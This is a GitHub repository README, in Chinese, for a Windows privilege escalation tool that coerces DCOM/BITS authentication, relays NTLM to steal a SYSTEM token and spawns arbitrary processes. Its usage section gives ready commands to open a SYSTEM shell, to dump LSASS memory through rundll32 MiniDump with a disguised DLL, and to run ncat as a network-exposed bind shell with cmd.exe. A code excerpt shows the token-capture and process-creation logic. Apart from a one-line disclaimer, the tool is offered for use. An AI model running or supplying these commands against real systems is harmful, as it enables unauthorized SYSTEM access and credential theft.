Yareshms/NTLM-Relay-to-SYSTEM
GitHub: Yareshms/NTLM-Relay-to-SYSTEM
基于 COM 服务器劫持与 NTLM 中继技术的 Windows 本地提权工具,可将具备模拟权限的服务账户提升至 SYSTEM 权限。
Stars: 0 | Forks: 1
# PrivEscalator
[](https://opensource.org/licenses/MIT)
[](http://makeapullrequest.com)
## 目录
- [概述](#overview)
- [功能](#features)
- [项目结构](#project-structure)
- [环境要求](#requirements)
- [安装](#installation)
- [配置](#configuration)
- [用法](#usage)
- [代码示例](#code-sample)
- [技术细节](#technical-details)
- [许可证](#license)
## 概述
Windows 权限提升辅助工具,灵感来源于原始的 PrivEscalator 和 RoguePotato 研究。它通过 DCOM/BITS 构造 NTLM 中继链,窃取由易受攻击的 COM 服务器暴露的 SYSTEM token,并使用 `CreateProcessWithTokenW` 或 `CreateProcessAsUserW` 生成任意 payload。该仓库包含独立的控制台启动器,以及复现完整攻击路径所需的管道机制(DCOM 存储触发器、NTLM 协商器、 fake WinRM 监听器)。
## 功能
- **自动执行路径选择** – 根据可用权限,在令牌复制 (token duplication) 和主登录 流程之间进行选择。
- **BITS/WinRM 回退** – 检测需要 BITS CLSID 并绑定到端口 5985 的 fake WinRM 监听器的现代 Windows 10 版本。
- **自定义 CLSID、端口和 Payload** – 无需重新构建即可从 CLI 覆盖所有运行时参数。
- **进程内 NTLM 协商** – 为 COM 代理和 WinRM HTTP 监听器实现完整的 Type1/Type2/Type3 握手。
- **控制台友好输出** – 将已启动 payload 的 stdout/stderr 管道传回给操作员,以便立即交互或记录日志。
- **可扩展代码库** – 协商 (`LocalNegotiator`)、DCOM 引导 (`StorageTrigger` / `ObjRef`) 和进程创建逻辑之间清晰分离,便于插入新的传输方法。
## 项目结构
- `Program.cs` – 参数解析、权限检查、进程创建和控制台用户体验 (UX)。
- `PotatoAPI.cs` – 编排 DCOM 触发器、NTLM 协商并暴露复制的令牌。
- `StorageTrigger.cs` / `Com/*` – 实现强制远程激活所需的 COM 存储接口。
- `LocalNegotiator.cs` & `Security/*` – 处理 SSPI 调用、令牌提取和权限启用。
- `PrivEscalator.csproj` / `PrivEscalator.sln` – .NET Framework 4.8 项目和解决方案文件。
## 环境要求
- 安装了 .NET Framework 4.8 SDK 的 Windows 10/11。
- Visual Studio 2022(带有 C# 桌面开发工作负载)或 MSBuild 16+。
- 建议在本地管理员上下文中运行,以确保拥有所需的模拟权限(`SeImpersonatePrivilege`、`SeAssignPrimaryTokenPrivilege`、`SeIncreaseQuotaPrivilege`)。
## 安装
- 打开解决方案文件。
- 从 **Build (生成)** 菜单中选择 **Build Solution (生成解决方案)**。
编译后的二进制文件将放置在 `PrivEscalator\bin\*\PrivEscalator.exe` 中。
## 配置
所有行为均通过命令行开关定义:
| Option | Description | Default |
| --- | --- | --- |
| `-c`, `--clsid` | 要强制的 COM 服务器的 CLSID。对于 1809 之后的系统,这会自动切换到 BITS CLSID `4991D34B-80A1-4291-83B6-3328366B9097`。 | `49...9097` |
| `-m`, `--method` | 执行策略:`Auto`、`Token` 或 `User`。`Auto` 根据检测到的权限选择可行的方法。 | `Auto` |
| `-p`, `--prog` | 以提升权限生成的进程的完整路径。 | `C:\Windows\System32\cmd.exe` |
| `-a`, `--args` | 传递给提升进程的参数。提供复杂命令时请使用引号。 | `null` |
| `-l`, `--listenPort` | 不模拟 WinRM 时 fake COM 服务器的本地 TCP 端口。 | `6666` |
| `-h`, `--help` | 打印选项参考并退出。 | n/a |
## 用法
通过令牌复制生成提升权限的命令行 shell:
```
PrivEscalator.exe -m Auto -p "C:\Windows\System32\cmd.exe"
```
使用自定义 payload 和参数转储 LSASS:
```
PrivEscalator.exe `
-m Token `
-p "C:\Windows\System32\rundll32.exe" `
-a "C:\Windows\Temp\joker.png,MiniDump 728 C:\Windows\Temp\joker.dmp full"
```
在非标准端口上强制使用传统 COM 监听器:
```
PrivEscalator.exe -m User -l 7777 -c "{03DEDE4B-2E7E-11D2-97C5-00C04F8EEB39}"
```
```
PrivEscalator.exe -p ncat.exe -a "-lvnp 443 -e cmd.exe"
```
## 代码示例
```
PotatoAPI potato = new PotatoAPI(new Guid(clsId), port, requiresBits);
if (!potato.TriggerDCOM()) {
Console.WriteLine("[!] Unable to capture a SYSTEM token.");
return;
}
if (executionMethod == ExecutionMethod.Token) {
CreateProcessWithTokenW(potato.Token, 0, program, finalArgs, flags, IntPtr.Zero, null, ref si, out pi);
} else {
CreateProcessAsUserW(impersonatedPrimary, program, finalArgs, IntPtr.Zero, IntPtr.Zero, false, flags, IntPtr.Zero, @"C:\", ref si, out pi);
}
```
## 技术细节
- **令牌捕获** – `PotatoAPI` 启动 COM 中继端口或 fake WinRM 端点,拦截 NTLM 消息,并将其重放到 `LocalNegotiator`。
- **DCOM 强制** – `StorageTrigger` 实现 `IStorage`,将被强制的 COM 激活指向 `127.0.0.1:port`,从而启用环回中继。
- **权限检查** – `Program.EnablePrivilege` 确保进程在尝试创建进程之前启用 `SeImpersonatePrivilege`、`SeAssignPrimaryTokenPrivilege` 和 `SeIncreaseQuotaPrivilege`。
- **进程执行** – 根据所选方法,`CreateProcessWithTokenW`(模拟令牌)或 `CreateProcessAsUserW`(主令牌)使用隐藏窗口句柄和继承的 stdout/stderr 流管道启动操作员指定的 payload。
## 免责声明
此工具仅用于教育和授权安全测试目的。
## 许可证
本项目采用 [MIT 许可证](LICENSE) 授权。
标签:BITS, COM劫持, COM服务器, CreateProcessWithTokenW, DCOM, Impersonation, RoguePotato, SYSTEM权限, TGT, WinRM, 令牌窃取, 协议分析, 攻防演练, 数据展示, 本地提权, 本地服务, 权限提升, 端点可见性, 红队